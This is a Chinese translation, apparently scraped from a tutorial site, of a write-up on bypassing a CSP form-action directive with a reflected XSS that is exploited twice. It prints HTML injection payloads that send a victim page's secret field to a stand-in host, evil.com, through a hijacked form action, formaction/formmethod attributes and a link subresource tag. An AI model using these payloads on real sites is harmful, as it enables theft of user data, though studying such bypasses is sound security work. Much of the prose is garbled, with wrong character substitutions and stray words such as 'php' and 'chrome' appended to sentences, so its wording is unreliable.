利用反射型XSS二次注入绕过CSP form-action限制

利用反射型XSS二次注入绕过CSP form-action限制

 翻译:SecurityToolkitjavascript

0x01 简单介绍

CSP(Content-Security-Policy)是为了缓解XSS而存在的一种策略, 开发者能够设置一些规则来限制页面能够加载的内容.那文本中所说的form-action又是干啥的呢?用他能够限制form标签"action"属性的指向页面, 这样能够防止攻击者经过XSS修改表单的"action"属性,偷取用户的一些隐私信息.php

0x02 实例分析

上面讲的太抽象了, 若是不想看的话能够直接跳过....具体一点, 如今使用的是chrome浏览器, 假设下面这个secret.html是可能被XSS攻击的html

#!html //XSS在这里, victim.com/secret.html?xss=xss <form method="POST" id='subscribe' action='oo.html'>   <input name='secret' value='xiao_mi_mi'/>         //小秘密

若是这个站点没有CSP, 攻击者能够直接经过XSS修改java

#!html <form method="POST" action='http://evil.com/wo_de_mi_mi.php'>   //个人秘密

     

当用户傻傻地进行"正常'操做时,小秘密已经悄然变成攻击者的秘密了.而后,有一个管理员试图用CSP防止这个问题, 他使用白名单策略限制外部JS的加载而且不容许内联脚本, 好像安全性高了一点.

攻击者想了下, 把页面改为下面这个样子chrome

#!html <div><form action='http://evil.com/wo_de_mi_mi.php'></div> <form method='POST' id='subscribe' action='oo.html'>

在本来的form以前又加了一个form标签, 这个新的form标签没有闭合,而且直接碰到了老form标签, 这个时候会发生什么呢?浏览器

老form标签就这样消失了! 因此攻击者再次把用户的小秘密发送到了本身的服务器上, 并且这时原本应该是POST的secret由于老form标签的消失如今变成了GET发送, 请求变成了下面这样.安全

这下管理员郁闷了, 最后索性用CSP加上了form-action来白名单限定form标签的action指向, 那么这样是否还会出现问题呢?服务器

一块儿来回顾一下, 如今有一个不能执行JS的反射型XSS和一个只能往白名单域名(固然没有攻击者域名...)指向的form标签.xss

原secret.html学习

#!html // XSS位置, victim.com/secret.html?xss=xss <form method="POST" id='subscribe' action='oo.html'>   <input name='secret' value='xiao_mi_mi'/>

上一页        

最后攻击者的改过的页面以下

#!html <input value='ByPass CSP' type='submit' form='subscribe' formaction='' formmethod='GET' /> <input type='hidden' name='xss' form='subscribe' value="<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>"> // XSS, victim.com/secret.html?xss=xss <form method="POST" id='subscribe' action='oo.html'>   <input type='hidden' name='secret' value='xiao_mi_mi'/> </form>

这里有几处tricky的地方, 整个代码的步骤以下

  1. input标签的form/formmethod/formaction将老form POST到oo.html的secret变成GET发送到secret.html即当前页面.

  2. 跳转后仍处于secret.html所以该页面的XSS还能够被二次利用注入恶意标签, 这里又利用第二个input标签增长GET请求的xss参数, 因此跳转以后的URL变为

    #!html http://victim.com/secret.html?secret=xiao_mi_mi&xss=<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>
  3. 此时secret.html再次触发XSS, 被攻击者加入下面标签

    #!html <link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>

上一页        

正是最后这个link标签泄露了本该POST发送的secret, 攻击者经过利用一个反射型XSS将CSP的form-action绕过.

0x03 最后

CSP可以从某种程度上限制XSS, 对网站的防御是颇有益义的. 不过相比国外常常可以看到相关的讨论,国内CSP的推动和热度倒是比较不尽人意的, 同时关于CSP也有不少有意思的安全点, 特此翻译出来以供你们学习和参考.

上一页       
相关文章
相关标签/搜索